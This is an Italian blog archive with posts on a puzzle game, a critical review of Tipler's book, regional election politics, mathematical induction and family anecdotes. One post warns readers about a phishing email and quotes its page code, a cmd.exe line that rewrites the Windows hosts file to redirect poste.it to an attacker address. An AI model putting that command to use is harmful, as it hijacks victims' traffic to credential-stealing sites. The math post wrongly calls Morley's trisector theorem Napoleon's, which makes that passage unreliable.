Archivi annuali: 2010

gioco della domenica: Record Tripping

Qual è la novità di Record Tripping? il dover usare anche la rotella del mouse, e non solo i tasti e il movimento. Il gioco di per sé ricorda quei labirinti che nei primi anni ’70 ti capitava di trovare sul tappo dei tubetti per fare le bolle di sapone, in cui dovevi riuscire a portare la pallina al centro. La complicazione maggiore è che la vista del labirinto non è proprio diretta, e quindi c’è un problemino in più. Ma sono sicuro che ce la farete!
(via Passion for Puzzles)

Ultimo aggiornamento: 2010-03-07 07:00

_La fisica del cristianesimo_ (libro)

[copertina] È una sorta di par condicio. Avendo letto a suo tempo (e non apprezzato per nulla…) Il Tao della fisica di Fritjof Capra con l’associazione delle religioni orientali alla fisica contemporanea, mi è sembrato interessante vedere l’altra campana religiosa: la fisica vista dagli occhi di un cristiano, o meglio il cristianesimo visto dal punto di vista di un fisico. Frank Tipler, l’autore di questo libro (Frank J. Tipler, La fisica del cristianesimo [The Physics od Christianity], Mondadori 2008 [2007], pag. 361, € 19, ISBN 978-88-04-57599-3, trad. Tullio Cannillo) è noto per aver scritto con John Barrow Il principio antropico, e questa è la sua seconda opera al riguardo. Tipler non è certo uno che usi mezze misure. Parte dalle leggi fisiche validate dagli esperimenti come la relatività generale, la legge elettrodebole, il modello standard e l’interpretazione dei molti mondi, che per lui è la realtà dei molti mondi. Da qui deduce che devono per forza esserci due singolarità in cui non valgono le leggi fisiche, una alla fine dei tempi (Dio Padre) e una all’inizio (lo Spirito Santo). Poi c’è una terza singolarità che pervade – non ho capito bene come – tutto il multiverso; questa è il Figlio. Da qui parte tutta la sua visione sincretica tra fisica e religione. Devo dire che alcuni punti teologici sono interessanti. Per esempio, l’onniscienza di Dio deriva dal vedere lo spazio-tempo-multiverso come un tutt’uno che a livello superiore è statico; il libero arbitrio deriva dal fatto che se ci sono tutti gli universi possibili, ci saranno quelli in cui farò un’azione e quelli in cui non la farò, e la Singolarità può sapere le percentuali ma non i risultati della singola persona a causa delle leggi quantistiche. Anche i miracoli sono correttamente indicati come fatti non impossibili ma semplicemente assai improbabili. Detto questo, la maggior parte delle idee esposte non hanno fondamenti validi, soprattutto dal punto di vista matematico; l’equivalenza delle diverse successioni di Cauchy – e non del punto limite – oppure l’irrigidirsi sulla definizione di probabilità solamente come misura dell’ignoranza servono alla sua tesi, ma sono difficilmente accettabili aprioristicamente. Non parliamo poi del suo atteggiamento dove il principio antropico è portato a estremi letteralmente incredibili o degli esperimenti che propone per dimostrare la validità delle sue ipotesi, al di fuori delle possibilità attuali e quindi non invalidabili, oltre che essere spesso confusi. Ad esempio per verificare che l’Uomo della Sindone sia un maschio XX dove i geni tipici dell’Y si sono spostati in un X (cosa di per sé possibile) dice di cercare alleli X senza pensare alle possibili contaminazioni. Ah, Maria sarebbe nata senza un gene codificante il comportamento violento (il peccato originale!) e Gesù sarebbe il risultato di una specie di autofecondazione per quanto riguarda la materia fisica… Insomma, come Hard SF siamo messi bene, ma come scienza molto, molto meno. Noticina: Tipler non è antisemita, ma in compenso è antimusulmano… La traduzione di Tullio Cannillo è scorrevole; ho solo trovato un paio di punti non troppo chiari.

Ultimo aggiornamento: 2010-03-06 07:00

De Creto

Leggo dal Corsera: Il ministro dell’Interno, Roberto Maroni, ha spiegato che non è stata effettuata alcuna modifica alla legge elettorale e che «non c’è stata alcuna riapertura dei termini»: «Abbiamo dato un’interpretazione per consentire al Tar di dare applicazione alla legge in modo corretto».
Mi immagino il testo del decreto: «Interpretando il nome del loro partito, le liste del Popolo della Libertà hanno libertà di essere popolate come e quando vogliono.»
Naturalmente nessuno si stupisce che questo governo faccia un decreto legge per le sue liste: o pensate ancora che esista il concetto di interessi conflittuali?
(ps: lo sapete, vero, che io non ho il diritto di voto qui in Lombardia? Non è stata ammessa nessuna lista che mi possa rappresentare)

Ultimo aggiornamento: 2010-03-05 22:08

sfruttare la paura dell’autovelox

Mario mi invia un messaggio di phishing proprio “simpatico” che gli è arrivato (e che gmail fortunatamente mette nello spam).
Il messaggio ha come titolo Autovelox e Tutor: dove sono?, il sedicente mittente è info@auto.it, la provenienza sembra essere dall’IP 192.168.74.6, e racconta di come la polstrada abbia messo un sito dove sono indicate le postazioni degli autovelox (vero). Cosa succede però se si apre il link, che – come forse avete immaginato – NON è al sito della Polizia Stradale?
Il codice HTML di quella pagina contiene tra l’altro queste righe:
<param name='first' value='cmd.exe /c echo 210.86.2.150 poste.it >>
%windir%\System32\drivers\etc\hosts & echo 210.86.2.150 www.poste.it
>> %windir%\System32\drivers\etc\hosts' >

Detto in termini meno criptici: se uno ha un PC con Windows, gira con i privilegi di amministratore, e ha un browser non troppo sveglio (Insomma Etilista) allora la pagina web fa in modo che la prossima volta che il malcapitato vuole andare nel sito www.poste.it sarà automaticamente rediretto al sito 210.86.2.150, che a sua volta (in questo momento, ma il bello della cosa è che possono cambiarlo quando vogliono!) punta a ftp://213.123.204.189/bpol/cartepre/index.html; che cosa faccia questo sito, ve lo lascio immaginare.
Come avrete intuito, la cosa pericolosa è che il phishing vero e proprio arriva in un secondo momento, e quindi l’ignaro utente non si accorge di nulla. Sapevàtelo!

Ultimo aggiornamento: 2010-03-05 11:44

L’induzione matematica [1/2]

Lo sappiamo tutti: Sherlock Holmes è il principe della deduzione. Almeno, ci è sempre stato venduto in questo modo, anche se poi a guardar bene anche l’investigatore dal naso adunco – o meglio Arthur Conan Doyle – spesso barava e tirava fuori dal cappello alcune informazioni che non erano state date al lettore, oppure giungeva a conclusioni non certe ma altamente probabili. I filosofi affermano che il metodo holmesiano si dovrebbe più correttamente definire abduzione, come lo pseudosillogismo che da una premessa maggiore corretta (“tutti gli uomini sono mortali”) e una minore molto probabile (“Giulio Andreotti dovrebbe essere un uomo”) conclude con una conseguenza molto probabile (“si presume che prima o poi Andreotti morirà”). A proposito di abduzione, attenti ai falsi amici! In inglese “abduction” è il rapimento, soprattutto se da parte di alieni… ma non divaghiamo.
Il vero regno del campo deduttivo è naturalmente la matematica, dove si inizia a mettere i paletti (gli assiomi e i postulati) e da lì si va man mano avanti a dedurre i vari teoremi, come abbiamo tutti imparato quando abbiamo studiato geometria. Se ci pensarte un po’, però, la deduzione è un percorso in un certo qual senso sterile; tutto quello che deduciamo, per quanto possa sembrare incredibile – avete presente il cosiddetto teorema di Napoleone? Se si disegnano le trisettrici di un triangolo qualunque, queste si incontrano a due a due nei vertici di un triangolo equilatero – era già presente in nuce negli assiomi e postulati iniziali. Non abbiamo inventato nulla, ma solo scoperto quello che c’era già fin dall’inizio. Ripensandoci, non è affatto strano che la gran maggioranza dei matematici sia fondamentalmente della scuola platonista; a furia di trarre conseguenze logiche di quello che hai, ti inizia a sorgere il dubbio che gli enti matematici sono tutti lì da qualche parte, un po’ come in Flatterlandia.
Eppure anche in matematica c’è un modo per tirare fuori qualcosa di nuovo: l’induzione (“induzione matematica” se si vuole fare i precisini, ma in genere l’aggettivo si omette perché è chiaro che si sta facendo matematica). Anche nel mondo di tutti i giorni si parla di “procedimento induttivo” , ma in realtà è tutta un’altra cosa; si vedono alcune correlazioni, per esempio che quando spunta il sole settembrino dopo un temporale si trovano molti funghi, e si stabilisce una legge generale, che il sole dopo la pioggia faccia crescere i funghi. Tale legge può però essere vera o falsa, ed è solo un risultato empirico che fa rabbrividire un qualunque matematico se applicato alla propria scienza. Qui si tratta di qualcosa di completamente diverso.
La formalizzazione dell’induzione matematica è stata data da Giuseppe Peano nella sua definizione dei numeri naturali. Gli assiomi di Peano sono cinque, come i postulati della geometria euclidea; l’induzione è l’ultimo e il più complicato da spiegare, proprio come in geometria euclidea. Dopo avere stabilito per legge che 0 è un numero, che esiste una funzione S (“successore”) tale che se n è un numero anche S(n) è un numero (“per quanto grande sia un numero, posso sommarci uno”), che non esiste un numero x tale che S(x) = 0 (“zero è il primo numero”), e che se ci sono due numeri m e n per cui S(m) = S(n) allora m = n (“posso mettere tutti i numeri in fila”), il quinto assioma dice che “Se una proprietà P vale per 0 – cioè P(0) è vera – e sappiamo inoltre che se P vale per n allora vale anche per S(n), allora P vale per tutti i numeri naturali”. Per amor di precisione, il quinto assioma di Peano afferma che non ci sono altri numeri naturali al di fuori di questi, ma è un punto secondario. In un certo senso, questo quinto assioma ricorda il postulato delle parallele: molto più complicato degli altri, uno si chiede se è proprio necessario e non si possa invece farne a meno. La risposta è però molto diversa, come vedremo subito.
La cosa che dovrebbe subito saltare alla vista è che il quinto assioma di Peano, a differenza degli altri, tratta con l’infinito. Gli altri assiomi lavorano tutti con un numero o due; anche dire “se esiste il numero un fantastiliardo, allora esiste anche un fantastiliardo e uno” è una proprietà locale. Col quinto assioma, invece, dobbiamo prendere tutti i numeri contemporaneamente. L’immagine che io ho in mente è quella di un numero infinito di tessere del domino messe ritte in piedi una vicina all’altra. Forse avete visto quei video in cui ci si limita a dare un colpetto alla prima tessera, che cadendo tocca la seconda che a sua volta cade colpendo la terza… finché tutta la costruzione finisce giù per terra. Ecco, l’induzione è esattamente la stessa cosa, solo che le tessere sono infinite. Per la cronaca, esistono due definizioni di induzione: nell’induzione forte, invece che solo per n, la proprietà P deve valere per tutti i numeri inferiori o uguali a n, perché valga anche per n+1. Ma in realtà le due formulazioni sono equivalenti, e si può scegliere l’una o l’altra a seconda della comodità. Inoltre non è affatto detto che l’ipotesi induttiva debba partire necessariamente da 0; la proprietà può essere valida da un certo numero k, e ovviamente il risultato sarà valido per ogni intero maggiore o uguale a k. Così, se vogliamo dimostrare per induzione che la somma degli angoli di un poligono convesso di n lati è pari a n-2 angoli piatti, partiremo dal triangolo e non certo da un ipotetico poligono con zero lati!
[non è tutto qua, vai alla seconda parte]

Ultimo aggiornamento: 2010-03-05 07:00

se a destra fossero furbi

Nonostate gli strepitii di Ignazio La Russa, è ben difficile riuscire a trovare un cavillo legale per riammettere la lista romana del PdL alle regionali del Lazio. D’accordo che il partito fin dal suo nome si arroga la libertà di fare quello che gli pare, ma se la legge dispone un termine ultimo tu a quel termine ultimo ti devi attenere. Se io pago le tasse un giorno in ritardo non è che possa portare in piazza un po’ di persone per evitare le sanzioni, no?
Tenuto da parte il caso del listino Polverini in Lazio almeno fino alla pubblicazione del ricorso, resta la situazione lombarda. A quanto pare, il PdL avrebbe anche bisogno di un pallottoliere, visto che ha affermato di avere presentato 3935 firme mentre ce n’erano soltanto 3628 (tutto questo lasciando stare per il momento la validità dei timbri non tondi). Che può fare la destra, se effettivamente le firme non valide non lo sono per ragioni sostanziali e non formali?
Come sempre, ci sono varie opzioni. Far finta di niente e ammettere lo stesso la lista per decreto, come Massimo Franco sul Corsera vorrebbe, mi sa che porterebbe a sollevazioni non solo in Italia ma anche all’estero, perché sarebbe davvero in spregio alle regole. Potrebbero tentare di fare una sanatoria generale, ammettendo tutte le liste che si sono presentate ma non hanno portato abbastanza firme, come ad esempio i radicali (che in Lombardia avrebbero corso da soli): formalmente garantista per tutti, nella sostanza un provvedimento sfacciatamente di parte.
Resta un’ultima ipotesi: non ammettere il listino Formigoni, ma accettare le liste ad essa collegate, che per legge sarebbero automaticamente escluse. Certo, è una modifica in corsa alla legislazione (nazionale, tra l’altro, visto che la Lombardia non ha mai promulgato una legge regionale per disciplinare le elezioni); però onestamente mi pare corretto che gli elettori possano votare per i candidati di PdL e Lega, le cui liste sono state correttamente presentate. Cosa succederebbe a questo punto? Si può presumere che la destra non avrebbe il governatore e nemmeno il premio di maggioranza – i sedici candidati del listino; però nel proporzionale avrebbe una maggioranza tale da rendere difficile se non impossibile la governabilità della regione, e quindi si arriverebbe forse già l’anno prossimo a nuove elezioni… dove Roberto Formigoni potrebbe ricandidarsi, visto che un giro l’ha saltato. Un anno di blocco istituzionale farebbe male alla Lombardia, ma che ci volete fare?
(ah sì, immagino che in questo caso PdL e Lega impugneranno subito l’elezione di Errani a governatore dell’Emilia, visto che anche lui, come Formigoni, è ineleggibile. Fanno solo bene, ma è una misera rivincita)

Ultimo aggiornamento: 2010-03-04 09:14

Just in time

Per il battesimo di Cecilia, la sua madrina Daniela le ha comprato una sedia Stokke. Il guaio è che a quanto pare la filiale italiana della Stokke è fallita, e il negozio dove è andata a metà gennaio ha dovuto fare l’ordine in Germania, il che è significato aspettare più di un mese l’arrivo del tutto. Finalmente una decina di giorni fa la sedia è arrivata, e sabato ce l’ha portata.
Mentre la montavamo, mi è saltato l’occhio su un codice stampigliato, che presumibilmente indica la data di assemblaggio. Bene: c’era scritto 14-01-2010. Ancora un po’, e i tedeschi aspetteranno il fax di ordine per preparare i pezzi :-)

Ultimo aggiornamento: 2010-03-04 07:00

Cecilia inizia bene

[Cecilia legge, 28/2/2010] Come potete vedere, Cecilia ha preso tutto dai suoi genitori. Eccola lì alle prese con un libro: beh, si inizia con la sovraccoperta, d’accordo, ma non si può pretendere tutto e subito, no? Garantisco che la foto non è affatto stata taroccata o guidata: è stata lei a prendersi la sovraccoperta, sfilarla dal libro, e immergersi nella lettura.
Per la cronaca, Jacopo era al suo fianco, ma non era (ancora) interessato a leggersi qualcosa. Ma sappiamo che lui è sempre in leggero ritardo, da Vero Maschio.
E no, non vi pubblico foto dove si possa vedere bene la faccia dei giovini: la volete mettere, la privacy dei minori?

Ultimo aggiornamento: 2010-03-03 08:00